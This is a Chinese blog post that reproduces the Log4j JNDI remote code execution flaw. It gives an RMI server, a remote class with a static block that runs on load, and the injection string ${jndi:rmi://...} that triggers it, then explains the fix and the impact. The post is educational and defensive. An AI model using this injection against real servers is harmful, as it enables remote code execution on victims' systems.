Log4j-2.15.0之前版本通过JNDI远程拉取代码本地执行复现

1. 原理

log4j具有一个功能lookups的功能,它能够支持你在日志打印中通过简单的表达式输出操作系统、Java相关的信息,如下代码:

@Slf4j
public class Log4j2Main {

  public static void main(String[] args) {
    log.info("runtime: {}", "${java:runtime}");
    log.warn("vm: {}", "${java:vm}");
    log.error("os: {}", "${java:os}");
  }
}

输入为

2021-12-19 16:41:30,241 1 [main] INFO Log4j2Main: runtime: Java(TM) SE Runtime Environment (build 1.8.0_301-b09) from Oracle Corporation
2021-12-19 16:41:30,243 1 [main] WARN Log4j2Main: vm: Java HotSpot(TM) 64-Bit Server VM (build 25.301-b09, mixed mode)
2021-12-19 16:41:30,243 1 [main] ERROR Log4j2Main: os: Mac OS X 10.16 unknown, architecture: x86_64-64

这里使用到的lookup功能其实底层是基于Java的JNDI的,而JNDI支持远程方法调用(RMI)。

2. 复现

现在我们来启动一个远程服务,在上面注册一个JNDI,代码如下:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;

/**
 * @author zjwblog <co.zjwblog@gmail.com>
 * @version 1.0
 */
public class RMIServer {

  public static void main(String[] args) throws Exception {
    LocateRegistry.createRegistry(1099);
    Registry registry = LocateRegistry.getRegistry();

    Reference reference = new Reference("com.zjw.log4jbug.RemoteObject", "com.zjw.log4jbug.RemoteObject", null);
    ReferenceWrapper wrapper = new ReferenceWrapper(reference);
    registry.bind("remote", wrapper);

  }
}

并提供com.zjw.log4jbug.RemoteObject类

package com.zjw.log4jbug;

/**
 * @author zjwblog <co.zjwblog@gmail.com>
 * @version 1.0
 */
public class RemoteObject {

  static {
    System.out.println("用于攻击服务器要执行的代码...");
  }
}

然后我们修改之前的Log4j2Main代码如下

import lombok.extern.slf4j.Slf4j;

/**
 * @author zjwblog <co.zjwblog@gmail.com>
 * @version 1.0
 */
@Slf4j
public class Log4j2Main {
  public static void main(String[] args) {
    String name = "${jndi:rmi://127.0.0.1:1099/remote}";
    log.info("Hello: {}", name);
  }
}

最终运行结果如下:

用于攻击服务器要执行的代码…
读者不难发现,这里输出的结果为我启动的远程JDNI服务里面提供的类的静态代码块

结论:总结一下,就是在我们本地的服务器上执行了远端服务器上定义的代码,如果这段代码有恶意,那么就会造成重大经济损失。

3. 修复

修复方法有两种,网上也有很多资料,可以使用参数禁用掉lookups功能,也可以升级到新的安全版本,当这个BUG被报告之后,官方也发布了新的版本,对其进行修复,可以升级到新的log4j版本,如下

<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-slf4j-impl</artifactId>
  <version>2.15.0</version>
</dependency>
<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-core</artifactId>
  <version>2.15.0</version>
</dependency>
<dependency>
  <groupId>org.apache.logging.log4j</groupId>
  <artifactId>log4j-api</artifactId>
  <version>2.15.0</version>
</dependency>

升级之后运行代码如下:

2021-12-19 17:06:51,741 1 [main] INFO Log4j2Main: Hello: ${jndi:rmi://127.0.0.1:1099/remote}

可以看见name定义的指令没有被执行。

4. 影响范围

该BUG对使用log4j作为日志框架的项目都会造成重大安全隐患,对对外提供服务的WEB项目更是致命,例如一个场景,用户输入用户名进行注册,刚好服务端会使用log4j记录系统组册的用户名,攻击者在用户名中输入类似${jndi:rmi://127.0.0.1:1099/remote}的指令代码,则会导致服务器运行第三方定义的代码,造成服务器重大安全问题。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值